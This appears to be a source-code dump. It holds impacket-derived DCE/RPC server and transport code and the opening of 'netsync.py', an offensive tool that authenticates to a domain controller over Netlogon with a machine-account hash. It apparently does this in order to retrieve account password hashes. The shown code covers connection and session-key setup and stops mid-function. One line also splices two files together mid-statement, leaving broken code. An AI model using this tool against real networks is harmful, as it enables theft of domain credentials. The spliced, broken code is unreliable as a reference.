1577 | break 1578 | answer = self.processRequest(data) 1579 | if answer is not None: 1580 | self.send(answer) 1581 | except Exception: 1582 | #import traceback 1583 | #traceback.print_exc() 1584 | pass 1585 | self._clientSock.close() 1586 | 1587 | def send(self, data): 1588 | max_frag = self._max_frag 1589 | if len(data['pduData']) > self._max_xmit_size - 32: 1590 | max_frag = self._max_xmit_size - 32 # XXX: 32 is a safe margin for auth data 1591 | 1592 | if self._max_frag: 1593 | max_frag = min(max_frag, self._max_frag) 1594 | if max_frag and len(data['pduData']) > 0: 1595 | packet = data['pduData'] 1596 | offset = 0 1597 | while 1: 1598 | toSend = packet[offset:offset+max_frag] 1599 | if not toSend: 1600 | break 1601 | flags = 0 1602 | if offset == 0: 1603 | flags |= PFC_FIRST_FRAG 1604 | offset += len(toSend) 1605 | if offset == len(packet): 1606 | flags |= PFC_LAST_FRAG 1607 | data['flags'] = flags 1608 | data['pduData'] = toSend 1609 | self._clientSock.send(data.get_packet()) 1610 | else: 1611 | self._clientSock.send(data.get_packet()) 1612 | self._callid += 1 1613 | 1614 | def bind(self,packet, bind): 1615 | # Standard NDR Representation 1616 | NDRSyntax = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0') 1617 | resp = MSRPCBindAck() 1618 | 1619 | resp['type'] = MSRPC_BINDACK 1620 | resp['flags'] = packet['flags'] 1621 | resp['frag_len'] = 0 1622 | resp['auth_len'] = 0 1623 | resp['auth_data'] = b'' 1624 | resp['call_id'] = packet['call_id'] 1625 | resp['max_tfrag'] = bind['max_tfrag'] 1626 | resp['max_rfrag'] = bind['max_rfrag'] 1627 | resp['assoc_group'] = 0x1234 1628 | resp['ctx_num'] = 0 1629 | 1630 | data = bind['ctx_items'] 1631 | ctx_items = b'' 1632 | resp['SecondaryAddrLen'] = 0 1633 | for i in range(bind['ctx_num']): 1634 | result = MSRPC_CONT_RESULT_USER_REJECT 1635 | item = CtxItem(data) 1636 | data = data[len(item):] 1637 | 1638 | # First we check the Transfer Syntax is NDR32, what we support 1639 | if item['TransferSyntax'] == uuidtup_to_bin(NDRSyntax): 1640 | # Now Check if the interface is what we listen 1641 | reason = 1 # Default, Abstract Syntax not supported 1642 | for j in self._listenUUIDS: 1643 | if item['AbstractSyntax'] == j: 1644 | # Match, we accept the bind request 1645 | resp['SecondaryAddr'] = self._listenUUIDS[item['AbstractSyntax']]['SecondaryAddr'] 1646 | resp['SecondaryAddrLen'] = len(resp['SecondaryAddr'])+1 1647 | reason = 0 1648 | self._boundUUID = j 1649 | else: 1650 | # Fail the bind request for this context 1651 | reason = 2 # Transfer Syntax not supported 1652 | if reason == 0: 1653 | result = MSRPC_CONT_RESULT_ACCEPT 1654 | if reason == 1: 1655 | LOG.error('Bind request for an unsupported interface %s' % bin_to_uuidtup(item['AbstractSyntax'])) 1656 | 1657 | resp['ctx_num'] += 1 1658 | itemResult = CtxItemResult() 1659 | itemResult['Result'] = result 1660 | itemResult['Reason'] = reason 1661 | itemResult['TransferSyntax'] = uuidtup_to_bin(NDRSyntax) 1662 | ctx_items += itemResult.getData() 1663 | 1664 | resp['Pad'] ='A'*((4-((resp["SecondaryAddrLen"]+MSRPCBindAck._SIZE) % 4))%4) 1665 | resp['ctx_items'] = ctx_items 1666 | resp['frag_len'] = len(resp.getData()) 1667 | 1668 | self._clientSock.send(resp.getData()) 1669 | return None 1670 | 1671 | def processRequest(self,data): 1672 | packet = MSRPCHeader(data) 1673 | if packet['type'] == MSRPC_BIND: 1674 | bind = MSRPCBind(packet['pduData']) 1675 | self.bind(packet, bind) 1676 | packet = None 1677 | elif packet['type'] == MSRPC_REQUEST: 1678 | request = MSRPCRequestHeader(data) 1679 | response = MSRPCRespHeader(data) 1680 | response['type'] = MSRPC_RESPONSE 1681 | # Serve the opnum requested, if not, fails 1682 | if request['op_num'] in self._listenUUIDS[self._boundUUID]['CallBacks']: 1683 | # Call the function 1684 | returnData = self._listenUUIDS[self._boundUUID]['CallBacks'][request['op_num']](request['pduData']) 1685 | response['pduData'] = returnData 1686 | else: 1687 | LOG.error('Unsupported DCERPC opnum %d called for interface %s' % (request['op_num'], bin_to_uuidtup(self._boundUUID))) 1688 | response['type'] = MSRPC_FAULT 1689 | response['pduData'] = pack(' 1 else '' 60 | else: 61 | self.__endpoint = '' 62 | self.__options = {} 63 | 64 | def get_uuid(self): 65 | return self.__uuid 66 | 67 | def get_protocol_sequence(self): 68 | return self.__ps 69 | 70 | def get_network_address(self): 71 | return self.__na 72 | 73 | def set_network_address(self, addr): 74 | self.__na = addr 75 | 76 | def get_endpoint(self): 77 | return self.__endpoint 78 | 79 | def get_options(self): 80 | return self.__options 81 | 82 | def get_option(self, option_name): 83 | return self.__options[option_name] 84 | 85 | def is_option_set(self, option_name): 86 | return option_name in self.__options 87 | 88 | def unset_option(self, option_name): 89 | del self.__options[option_name] 90 | 91 | def __str__(self): 92 | return DCERPCStringBindingCompose(self.__uuid, self.__ps, self.__na, self.__endpoint, self.__options) 93 | 94 | 95 | def DCERPCStringBindingCompose(uuid=None, protocol_sequence='', network_address='', endpoint='', options={}): 96 | s = '' 97 | if uuid: 98 | s += uuid + '@' 99 | s += protocol_sequence + ':' 100 | if network_address: 101 | s += network_address 102 | if endpoint or options: 103 | s += '[' + endpoint 104 | if options: 105 | s += ',' + ','.join([key if str(val) == '' else "=".join([key, str(val)]) for key, val in options.items()]) 106 | s += ']' 107 | 108 | return s 109 | 110 | 111 | def DCERPCTransportFactory(stringbinding): 112 | sb = DCERPCStringBinding(stringbinding) 113 | 114 | na = sb.get_network_address() 115 | ps = sb.get_protocol_sequence() 116 | if 'ncadg_ip_udp' == ps: 117 | port = sb.get_endpoint() 118 | if port: 119 | rpctransport = UDPTransport(na, int(port)) 120 | else: 121 | rpctransport = UDPTransport(na) 122 | elif 'ncacn_ip_tcp' == ps: 123 | port = sb.get_endpoint() 124 | if port: 125 | rpctransport = TCPTransport(na, int(port)) 126 | else: 127 | rpctransport = TCPTransport(na) 128 | elif 'ncacn_http' == ps: 129 | port = sb.get_endpoint() 130 | if port: 131 | rpctransport = HTTPTransport(na, int(port)) 132 | else: 133 | rpctransport = HTTPTransport(na) 134 | elif 'ncacn_np' == ps: 135 | named_pipe = sb.get_endpoint() 136 | if named_pipe: 137 | named_pipe = named_pipe[len(r'\pipe'):] 138 | rpctransport = SMBTransport(na, filename = named_pipe) 139 | else: 140 | rpctransport = SMBTransport(na) 141 | elif 'ncalocal' == ps: 142 | named_pipe = sb.get_endpoint() 143 | rpctransport = LOCALTransport(filename = named_pipe) 144 | else: 145 | raise DCERPCException("Unknown protocol sequence.") 146 | 147 | rpctransport.set_stringbinding(sb) 148 | return rpctransport 149 | 150 | class DCERPCTransport: 151 | 152 | DCERPC_class = DCERPC_v5 153 | 154 | def __init__(self, remoteName, dstport): 155 | self.__remoteName = remoteName 156 | self.__remoteHost = remoteName 157 | self.__dstport = dstport 158 | self._stringbinding = None 159 | self._max_send_frag = None 160 | self._max_recv_frag = None 161 | self._domain = '' 162 | self._lmhash = '' 163 | self._nthash = '' 164 | self.__connect_timeout = None 165 | self._doKerberos = False 166 | self._username = '' 167 | self._password = '' 168 | self._domain = '' 169 | self._aesKey = None 170 | self._TGT = None 171 | self._TGS = None 172 | self._kdcHost = None 173 | self.set_credentials('','') 174 | # Strict host validation - off by default and currently only for 175 | # SMBTransport 176 | self._strict_hostname_validation = False 177 | self._validation_allow_absent = True 178 | self._accepted_hostname = '' 179 | 180 | def connect(self): 181 | raise RuntimeError('virtual function') 182 | def send(self,data=0, forceWriteAndx = 0, forceRecv = 0): 183 | raise RuntimeError('virtual function') 184 | def recv(self, forceRecv = 0, count = 0): 185 | raise RuntimeError('virtual function') 186 | def disconnect(self): 187 | raise RuntimeError('virtual function') 188 | def get_socket(self): 189 | raise RuntimeError('virtual function') 190 | 191 | def get_connect_timeout(self): 192 | return self.__connect_timeout 193 | def set_connect_timeout(self, timeout): 194 | self.__connect_timeout = timeout 195 | 196 | def getRemoteName(self): 197 | return self.__remoteName 198 | 199 | def setRemoteName(self, remoteName): 200 | """This method only makes sense before connection for most protocols.""" 201 | self.__remoteName = remoteName 202 | 203 | def getRemoteHost(self): 204 | return self.__remoteHost 205 | 206 | def setRemoteHost(self, remoteHost): 207 | """This method only makes sense before connection for most protocols.""" 208 | self.__remoteHost = remoteHost 209 | 210 | def get_dport(self): 211 | return self.__dstport 212 | def set_dport(self, dport): 213 | """This method only makes sense before connection for most protocols.""" 214 | self.__dstport = dport 215 | 216 | def get_stringbinding(self): 217 | return self._stringbinding 218 | 219 | def set_stringbinding(self, stringbinding): 220 | self._stringbinding = stringbinding 221 | 222 | def get_addr(self): 223 | return self.getRemoteHost(), self.get_dport() 224 | def set_addr(self, addr): 225 | """This method only makes sense before connection for most protocols.""" 226 | self.setRemoteHost(addr[0]) 227 | self.set_dport(addr[1]) 228 | 229 | def set_kerberos(self, flag, kdcHost = None): 230 | self._doKerberos = flag 231 | self._kdcHost = kdcHost 232 | 233 | def get_kerberos(self): 234 | return self._doKerberos 235 | 236 | def get_kdcHost(self): 237 | return self._kdcHost 238 | 239 | def set_max_fragment_size(self, send_fragment_size): 240 | # -1 is default fragment size: 0 (don't fragment) 241 | # 0 is don't fragment 242 | # other values are max fragment size 243 | if send_fragment_size == -1: 244 | self.set_default_max_fragment_size() 245 | else: 246 | self._max_send_frag = send_fragment_size 247 | 248 | def set_hostname_validation(self, validate, accept_empty, hostname): 249 | self._strict_hostname_validation = validate 250 | self._validation_allow_absent = accept_empty 251 | self._accepted_hostname = hostname 252 | 253 | def set_default_max_fragment_size(self): 254 | # default is 0: don't fragment. 255 | # subclasses may override this method 256 | self._max_send_frag = 0 257 | 258 | def get_credentials(self): 259 | return ( 260 | self._username, 261 | self._password, 262 | self._domain, 263 | self._lmhash, 264 | self._nthash, 265 | self._aesKey, 266 | self._TGT, 267 | self._TGS) 268 | 269 | def set_credentials(self, username, password, domain='', lmhash='', nthash='', aesKey='', TGT=None, TGS=None): 270 | self._username = username 271 | self._password = password 272 | self._domain = domain 273 | self._aesKey = aesKey 274 | self._TGT = TGT 275 | self._TGS = TGS 276 | if lmhash != '' or nthash != '': 277 | if len(lmhash) % 2: 278 | lmhash = '0%s' % lmhash 279 | if len(nthash) % 2: 280 | nthash = '0%s' % nthash 281 | try: # just in case they were converted already 282 | self._lmhash = binascii.unhexlify(lmhash) 283 | self._nthash = binascii.unhexlify(nthash) 284 | except: 285 | self._lmhash = lmhash 286 | self._nthash = nthash 287 | pass 288 | 289 | def doesSupportNTLMv2(self): 290 | # By default we'll be returning the library's default. Only on SMB Transports we might be able to know it beforehand 291 | return ntlm.USE_NTLMv2 292 | 293 | def get_dce_rpc(self): 294 | return DCERPC_v5(self) 295 | 296 | class UDPTransport(DCERPCTransport): 297 | "Implementation of ncadg_ip_udp protocol sequence" 298 | 299 | DCERPC_class = DCERPC_v4 300 | 301 | def __init__(self, remoteName, dstport = 135): 302 | DCERPCTransport.__init__(self, remoteName, dstport) 303 | self.__socket = 0 304 | self.set_connect_timeout(30) 305 | self.__recv_addr = '' 306 | 307 | def connect(self): 308 | try: 309 | af, socktype, proto, canonname, sa = socket.getaddrinfo(self.getRemoteHost(), self.get_dport(), 0, socket.SOCK_DGRAM)[0] 310 | self.__socket = socket.socket(af, socktype, proto) 311 | self.__socket.settimeout(self.get_connect_timeout()) 312 | except socket.error as msg: 313 | self.__socket = None 314 | raise DCERPCException("Could not connect: %s" % msg) 315 | 316 | return 1 317 | 318 | def disconnect(self): 319 | try: 320 | self.__socket.close() 321 | except socket.error: 322 | self.__socket = None 323 | return 0 324 | return 1 325 | 326 | def send(self,data, forceWriteAndx = 0, forceRecv = 0): 327 | self.__socket.sendto(data, (self.getRemoteHost(), self.get_dport())) 328 | 329 | def recv(self, forceRecv = 0, count = 0): 330 | buffer, self.__recv_addr = self.__socket.recvfrom(8192) 331 | return buffer 332 | 333 | def get_recv_addr(self): 334 | return self.__recv_addr 335 | 336 | def get_socket(self): 337 | return self.__socket 338 | 339 | class TCPTransport(DCERPCTransport): 340 | """Implementation of ncacn_ip_tcp protocol sequence""" 341 | 342 | def __init__(self, remoteName, dstport = 135): 343 | DCERPCTransport.__init__(self, remoteName, dstport) 344 | self.__socket = 0 345 | self.set_connect_timeout(30) 346 | 347 | def connect(self): 348 | af, socktype, proto, canonname, sa = socket.getaddrinfo(self.getRemoteHost(), self.get_dport(), 0, socket.SOCK_STREAM)[0] 349 | self.__socket = socket.socket(af, socktype, proto) 350 | try: 351 | self.__socket.settimeout(self.get_connect_timeout()) 352 | self.__socket.connect(sa) 353 | except socket.error as msg: 354 | self.__socket.close() 355 | raise DCERPCException("Could not connect: %s" % msg) 356 | return 1 357 | 358 | def disconnect(self): 359 | try: 360 | self.__socket.close() 361 | except socket.error: 362 | self.__socket = None 363 | return 0 364 | return 1 365 | 366 | def send(self,data, forceWriteAndx = 0, forceRecv = 0): 367 | if self._max_send_frag: 368 | offset = 0 369 | while 1: 370 | toSend = data[offset:offset+self._max_send_frag] 371 | if not toSend: 372 | break 373 | self.__socket.send(toSend) 374 | offset += len(toSend) 375 | else: 376 | self.__socket.send(data) 377 | 378 | def recv(self, forceRecv = 0, count = 0): 379 | if count: 380 | buffer = b'' 381 | while len(buffer) < count: 382 | buffer += self.__socket.recv(count-len(buffer)) 383 | else: 384 | buffer = self.__socket.recv(8192) 385 | return buffer 386 | 387 | def get_socket(self): 388 | return self.__socket 389 | 390 | class HTTPTransport(TCPTransport, RPCProxyClient): 391 | """Implementation of ncacn_http protocol sequence""" 392 | 393 | def __init__(self, remoteName=None, dstport=593): 394 | self._useRpcProxy = False 395 | self._rpcProxyUrl = None 396 | self._transport = TCPTransport 397 | self._version = RPC_OVER_HTTP_v2 398 | 399 | DCERPCTransport.__init__(self, remoteName, dstport) 400 | RPCProxyClient.__init__(self, remoteName, dstport) 401 | self.set_connect_timeout(30) 402 | 403 | def set_credentials(self, username, password, domain='', lmhash='', nthash='', aesKey='', TGT=None, TGS=None): 404 | return self._transport.set_credentials(self, username, password, 405 | domain, lmhash, nthash, aesKey, TGT, TGS) 406 | 407 | def rpc_proxy_init(self): 408 | self._useRpcProxy = True 409 | self._transport = RPCProxyClient 410 | 411 | def set_rpc_proxy_url(self, url): 412 | self.rpc_proxy_init() 413 | self._rpcProxyUrl = urlparse(url) 414 | 415 | def get_rpc_proxy_url(self): 416 | return urlunparse(self._rpcProxyUrl) 417 | 418 | def set_stringbinding(self, set_stringbinding): 419 | DCERPCTransport.set_stringbinding(self, set_stringbinding) 420 | 421 | if self._stringbinding.is_option_set("RpcProxy"): 422 | self.rpc_proxy_init() 423 | 424 | rpcproxy = self._stringbinding.get_option("RpcProxy").split(":") 425 | 426 | if rpcproxy[1] == '443': 427 | self.set_rpc_proxy_url('https://%s/rpc/rpcproxy.dll' % rpcproxy[0]) 428 | elif rpcproxy[1] == '80': 429 | self.set_rpc_proxy_url('http://%s/rpc/rpcproxy.dll' % rpcproxy[0]) 430 | else: 431 | # 2.1.2.1 432 | # RPC over HTTP always uses port 80 for HTTP traffic and port 443 for HTTPS traffic. 433 | # But you can use set_rpc_proxy_url method to set any URL / query you want. 434 | raise DCERPCException("RPC Proxy port must be 80 or 443") 435 | 436 | def connect(self): 437 | if self._useRpcProxy == False: 438 | # Connecting directly to the ncacn_http port 439 | # 440 | # Here we using RPC over HTTPv1 instead complex RPC over HTTP v2 syntax 441 | # RPC over HTTP v2 here can be implemented in the future 442 | self._version = RPC_OVER_HTTP_v1 443 | 444 | TCPTransport.connect(self) 445 | 446 | # Reading legacy server response 447 | data = self.get_socket().recv(8192) 448 | 449 | if data != b'ncacn_http/1.0': 450 | raise DCERPCException("%s:%s service is not ncacn_http" % (self.__remoteName, self.__dstport)) 451 | else: 452 | RPCProxyClient.connect(self) 453 | 454 | def send(self, data, forceWriteAndx=0, forceRecv=0): 455 | return self._transport.send(self, data, forceWriteAndx, forceRecv) 456 | 457 | def recv(self, forceRecv=0, count=0): 458 | return self._transport.recv(self, forceRecv, count) 459 | 460 | def get_socket(self): 461 | if self._useRpcProxy == False: 462 | return TCPTransport.get_socket(self) 463 | else: 464 | raise DCERPCException("This method is not supported for RPC Proxy connections") 465 | 466 | def disconnect(self): 467 | return self._transport.disconnect(self) 468 | 469 | class SMBTransport(DCERPCTransport): 470 | """Implementation of ncacn_np protocol sequence""" 471 | 472 | def __init__(self, remoteName, dstport=445, filename='', username='', password='', domain='', lmhash='', nthash='', 473 | aesKey='', TGT=None, TGS=None, remote_host='', smb_connection=0, doKerberos=False, kdcHost=None): 474 | DCERPCTransport.__init__(self, remoteName, dstport) 475 | self.__socket = None 476 | self.__tid = 0 477 | self.__filename = filename 478 | self.__handle = 0 479 | self.__pending_recv = 0 480 | self.set_credentials(username, password, domain, lmhash, nthash, aesKey, TGT, TGS) 481 | self._doKerberos = doKerberos 482 | self._kdcHost = kdcHost 483 | 484 | if remote_host != '': 485 | self.setRemoteHost(remote_host) 486 | 487 | if smb_connection == 0: 488 | self.__existing_smb = False 489 | else: 490 | self.__existing_smb = True 491 | self.set_credentials(*smb_connection.getCredentials()) 492 | 493 | self.__prefDialect = None 494 | self.__smb_connection = smb_connection 495 | self.set_connect_timeout(30) 496 | 497 | def preferred_dialect(self, dialect): 498 | self.__prefDialect = dialect 499 | 500 | def setup_smb_connection(self): 501 | if not self.__smb_connection: 502 | self.__smb_connection = SMBConnection(self.getRemoteName(), self.getRemoteHost(), sess_port=self.get_dport(), 503 | preferredDialect=self.__prefDialect, timeout=self.get_connect_timeout()) 504 | if self._strict_hostname_validation: 505 | self.__smb_connection.setHostnameValidation(self._strict_hostname_validation, self._validation_allow_absent, self._accepted_hostname) 506 | 507 | def connect(self): 508 | # Check if we have a smb connection already setup 509 | if self.__smb_connection == 0: 510 | self.setup_smb_connection() 511 | if self._doKerberos is False: 512 | self.__smb_connection.login(self._username, self._password, self._domain, self._lmhash, self._nthash) 513 | else: 514 | self.__smb_connection.kerberosLogin(self._username, self._password, self._domain, self._lmhash, 515 | self._nthash, self._aesKey, kdcHost=self._kdcHost, TGT=self._TGT, 516 | TGS=self._TGS) 517 | self.__tid = self.__smb_connection.connectTree('IPC$') 518 | self.__handle = self.__smb_connection.openFile(self.__tid, self.__filename) 519 | self.__socket = self.__smb_connection.getSMBServer().get_socket() 520 | return 1 521 | 522 | def disconnect(self): 523 | self.__smb_connection.disconnectTree(self.__tid) 524 | # If we created the SMB connection, we close it, otherwise 525 | # that's up for the caller 526 | if self.__existing_smb is False: 527 | self.__smb_connection.logoff() 528 | self.__smb_connection.close() 529 | self.__smb_connection = 0 530 | 531 | def send(self,data, forceWriteAndx = 0, forceRecv = 0): 532 | if self._max_send_frag: 533 | offset = 0 534 | while 1: 535 | toSend = data[offset:offset+self._max_send_frag] 536 | if not toSend: 537 | break 538 | self.__smb_connection.writeFile(self.__tid, self.__handle, toSend, offset = offset) 539 | offset += len(toSend) 540 | else: 541 | self.__smb_connection.writeFile(self.__tid, self.__handle, data) 542 | if forceRecv: 543 | self.__pending_recv += 1 544 | 545 | def recv(self, forceRecv = 0, count = 0 ): 546 | if self._max_send_frag or self.__pending_recv: 547 | # _max_send_frag is checked because it's the same condition we checked 548 | # to decide whether to use write_andx() or send_trans() in send() above. 549 | if self.__pending_recv: 550 | self.__pending_recv -= 1 551 | return self.__smb_connection.readFile(self.__tid, self.__handle, bytesToRead = self._max_recv_frag) 552 | else: 553 | return self.__smb_connection.readFile(self.__tid, self.__handle) 554 | 555 | def get_smb_connection(self): 556 | return self.__smb_connection 557 | 558 | def set_smb_connection(self, smb_connection): 559 | self.__smb_connection = smb_connection 560 | self.set_credentials(*smb_connection.getCredentials()) 561 | self.__existing_smb = True 562 | 563 | def get_smb_server(self): 564 | # Raw Access to the SMBServer (whatever type it is) 565 | return self.__smb_connection.getSMBServer() 566 | 567 | def get_socket(self): 568 | return self.__socket 569 | 570 | def doesSupportNTLMv2(self): 571 | return self.__smb_connection.doesSupportNTLMv2() 572 | 573 | class LOCALTransport(DCERPCTransport): 574 | """ 575 | Implementation of ncalocal protocol sequence, not the same 576 | as ncalrpc (I'm not doing LPC just opening the local pipe) 577 | """ 578 | 579 | def __init__(self, filename = ''): 580 | DCERPCTransport.__init__(self, '', 0) 581 | self.__filename = filename 582 | self.__handle = 0 583 | 584 | def connect(self): 585 | if self.__filename.upper().find('PIPE') < 0: 586 | self.__filename = '\\PIPE\\%s' % self.__filename 587 | self.__handle = os.open('\\\\.\\%s' % self.__filename, os.O_RDWR|os.O_BINARY) 588 | return 1 589 | 590 | def disconnect(self): 591 | os.close(self.__handle) 592 | 593 | def send(self,data, forceWriteAndx = 0, forceRecv = 0): 594 | os.write(self.__handle, data) 595 | 596 | def recv(self, forceRecv = 0, count = 0 ): 597 | data = os.read(self.__handle, 65535) 598 | return data 599 | -------------------------------------------------------------------------------- /netsync.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import sys 3 | import argparse 4 | import logging 5 | import re 6 | import traceback 7 | from dns import resolver 8 | from binascii import unhexlify, hexlify 9 | 10 | from impacket.examples import logger 11 | from impacket import version 12 | from impacket.dcerpc.v5 import epm 13 | from impacket.crypto import SamDecryptNTLMHash 14 | from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_NETLOGON 15 | from impacket.examples.utils import parse_target 16 | from impacket.krb5.keytab import Keytab 17 | 18 | from libs import nrpc 19 | from libs import transport 20 | 21 | LOGO = r""" 22 | _ _ _ ____ 23 | | \ | | ___| |_/ ___| _ _ _ __ ___ 24 | | \| |/ _ \ __\___ \| | | | '_ \ / __| 25 | | |\ | __/ |_ ___) | |_| | | | | (__ 26 | |_| \_|\___|\__|____/ \__, |_| |_|\___| 27 | |___/ 28 | """ 29 | 30 | class Hostname2Ip: 31 | def __init__(self): 32 | self.dnsresolver = resolver.Resolver() 33 | 34 | def host2ip(self, hostname, nameserver, dns_timeout=3,dns_tcp=True): 35 | if nameserver: 36 | self.dnsresolver.nameservers = [nameserver] 37 | self.dnsresolver.lifetime = float(dns_timeout) 38 | try: 39 | q = self.dnsresolver.resolve(hostname, 'A', tcp=dns_tcp) 40 | for r in q: 41 | addr = r.address 42 | logging.info('HostName: {} -> Resolved: {}'.format(hostname, addr)) 43 | return addr 44 | except Exception as e: 45 | # logging.error("Resolved Failed: %s" % e) 46 | return None 47 | 48 | class NrpcNegotiateFlags: 49 | None_ = 0 50 | SupportsRC4 = 0x4 51 | DoesNotRequireValidationLevel2 = 0x40 52 | SupportsRefusePasswordChange = 0x100 53 | SupportsNetrLogonSendToSam = 0x200 54 | SupportsGenericPassThroughAuthentication = 0x400 55 | SupportsConcurrentRpcCalls = 0x800 56 | SupportsStrongKeys = 0x4000 57 | SupportsTransitiveTrusts = 0x8000 58 | SupportsNetrServerPasswordSet2 = 0x20000 59 | SupportsNetrLogonGetDomainInfo = 0x40000 60 | SupportsCrossForestTrusts = 0x80000 61 | SupportsWinNT4Emulation = 0x100000 62 | SupportsRodcPassThroughToDifferentDomains = 0x200000 63 | SupportsAESAndSHA2 = 0x1000000 64 | SupportsSecureRpc = 0x40000000 65 | 66 | def get_supported_abilities(capabilities): 67 | flags_to_ability = { 68 | NrpcNegotiateFlags.SupportsRC4: "SupportsRC4", 69 | NrpcNegotiateFlags.DoesNotRequireValidationLevel2: "DoesNotRequireValidationLevel2", 70 | NrpcNegotiateFlags.SupportsRefusePasswordChange: "SupportsRefusePasswordChange", 71 | NrpcNegotiateFlags.SupportsNetrLogonSendToSam: "SupportsNetrLogonSendToSam", 72 | NrpcNegotiateFlags.SupportsGenericPassThroughAuthentication: "SupportsGenericPassThroughAuthentication", 73 | NrpcNegotiateFlags.SupportsConcurrentRpcCalls: "SupportsConcurrentRpcCalls", 74 | NrpcNegotiateFlags.SupportsStrongKeys: "SupportsStrongKeys", 75 | NrpcNegotiateFlags.SupportsTransitiveTrusts: "SupportsTransitiveTrusts", 76 | NrpcNegotiateFlags.SupportsNetrServerPasswordSet2: "SupportsNetrServerPasswordSet2", 77 | NrpcNegotiateFlags.SupportsNetrLogonGetDomainInfo: "SupportsNetrLogonGetDomainInfo", 78 | NrpcNegotiateFlags.SupportsCrossForestTrusts: "SupportsCrossForestTrusts", 79 | NrpcNegotiateFlags.SupportsWinNT4Emulation: "SupportsWinNT4Emulation", 80 | NrpcNegotiateFlags.SupportsRodcPassThroughToDifferentDomains: "SupportsRodcPassThroughToDifferentDomains", 81 | NrpcNegotiateFlags.SupportsAESAndSHA2: "SupportsAESAndSHA2", 82 | NrpcNegotiateFlags.SupportsSecureRpc: "SupportsSecureRpc" 83 | 84 | } 85 | abilities = [] 86 | # Iterate over the dictionary and check if each flag is set in capabilities 87 | for flag, ability in flags_to_ability.items(): 88 | if capabilities & flag: 89 | abilities.append(ability) 90 | 91 | return abilities 92 | 93 | class NetSync: 94 | def __init__(self, username='', password='', domain='', hashes=None, kdcHost=None, dcHost=None): 95 | self.__username = username 96 | self.__password = password 97 | self.__domain = domain 98 | self.__lmhash = '' 99 | self.__nthash = '' 100 | self.__kdcHost = kdcHost 101 | self.__dcName = nrpc.checkNullString(dcHost) 102 | self.__machineUser = nrpc.checkNullString(self.__username) 103 | self.__machineName = self.__username.rstrip('$') 104 | self.__dce = None 105 | self.__aesandsha = False 106 | logging.info("Using domain controller: {} for domain {}".format(self.__dcName, self.__domain)) 107 | 108 | 109 | if hashes is not None: 110 | self.__lmhash, self.__nthash = hashes.split(':') 111 | 112 | if not self.check_auth(): 113 | sys.exit(1) 114 | 115 | def check_auth(self): 116 | try: 117 | self.authenticate() 118 | resp = nrpc.hNetrLogonGetCapabilities(self.__dce, self.__dcName, self.__machineName, self.update_authenticator(),0) 119 | # resp.dump() 120 | capabilities = resp['ServerCapabilities']['ServerCapabilities'] 121 | logging.info("Capabilities: {}".format(capabilities)) 122 | abilities = NrpcNegotiateFlags.get_supported_abilities(capabilities) 123 | support_str = ", ".join(abilities) 124 | logging.info("Authenticated successfully! have these capabilities: {}".format(support_str)) 125 | return True 126 | except Exception as e: 127 | traceback.print_exc() 128 | logging.error(str(e)) 129 | return False 130 | 131 | def authenticate(self): 132 | stringbinding = epm.hept_map(self.__kdcHost, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') 133 | rpctransport = transport.DCERPCTransportFactory(stringbinding) 134 | if hasattr(rpctransport, 'set_credentials'): 135 | # This method exists only for selected protocol sequences. 136 | rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, 137 | '') 138 | dce = rpctransport.get_dce_rpc() 139 | dce.set_credentials(*rpctransport.get_credentials()) 140 | dce.connect() 141 | dce.bind(nrpc.MSRPC_UUID_NRPC) 142 | if not self.NetrServerAuthenticate(dce): 143 | logging.error("Failed to authenticate to the domain controller.") 144 | sys.exit(1) 145 | 146 | def update_authenticator(self): 147 | if self.__aesandsha: 148 | auth = nrpc.ComputeNetlogonAuthenticatorAES(self.clientStoredCredential, self.sessionKey) 149 | else: 150 | auth = nrpc.ComputeNetlogonAuthenticator(self.clientStoredCredential, self.sessionKey) 151 | return auth 152 | 153 | 154 | def NetrServerAuthenticate(self, dce): 155 | try: 156 | # impacket not support NrpcNegotiateFlags.SupportsAESAndSHA2 yet, fuck it. 157 | negotiateFlags = NrpcNegotiateFlags.DoesNotRequireValidationLevel2 | NrpcNegotiateFlags.SupportsConcurrentRpcCalls | NrpcNegotiateFlags.SupportsCrossForestTrusts | NrpcNegotiateFlags.SupportsGenericPassThroughAuthentication | NrpcNegotiateFlags.SupportsNetrLogonGetDomainInfo | NrpcNegotiateFlags.SupportsNetrLogonSendToSam | NrpcNegotiateFlags.SupportsNetrServerPasswordSet2 | NrpcNegotiateFlags.SupportsRC4 | NrpcNegotiateFlags.SupportsRefusePasswordChange | NrpcNegotiateFlags.SupportsRodcPassThroughToDifferentDomains | NrpcNegotiateFlags.SupportsSecureRpc| NrpcNegotiateFlags.SupportsStrongKeys | NrpcNegotiateFlags.SupportsTransitiveTrusts | NrpcNegotiateFlags.SupportsAESAndSHA2 158 | clientChallenge = b'12345678' 159 | resp = nrpc.hNetrServerReqChallenge(dce, self.__dcName, self.__machineName , clientChallenge) 160 | serverChallenge = resp['ServerChallenge'] 161 | bnthash = unhexlify(self.__nthash) or None 162 | logging.debug("Server Challenge: %s" % hexlify(serverChallenge).decode('utf-8')) 163 | if negotiateFlags & NrpcNegotiateFlags.SupportsAESAndSHA2 == NrpcNegotiateFlags.SupportsAESAndSHA2: 164 | logging.debug("Using AES key") 165 | isAES = True 166 | self.sessionKey = nrpc.ComputeSessionKeyAES('', clientChallenge, serverChallenge, bnthash) 167 | self.clientStoredCredential = nrpc.ComputeNetlogonCredentialAES(clientChallenge, self.sessionKey) 168 | elif negotiateFlags & NrpcNegotiateFlags.SupportsStrongKeys == NrpcNegotiateFlags.SupportsStrongKeys: 169 | isAES = False 170 | logging.debug("Using strong key") 171 | self.sessionKey = nrpc.ComputeSessionKeyStrongKey('', clientChallenge, serverChallenge, bnthash) 172 | self.clientStoredCredential = nrpc.ComputeNetlogonCredential(clientChallenge, self.sessionKey) 173 | else: 174 | logging.error("No supported key type found.") 175 | return False 176 | resp = nrpc.hNetrServerAuthenticate3(dce, self.__dcName, self.__machineUser, 177 | nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, 178 | self.__machineName, self.clientStoredCredential, negotiateFlags) 179 | # resp.dump() 180 | # nrpc.hNetrServerAuthenticate2(dce, self.__dcName, self.__machineUser, 181 | # nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, 182 | # self.__machineUser, 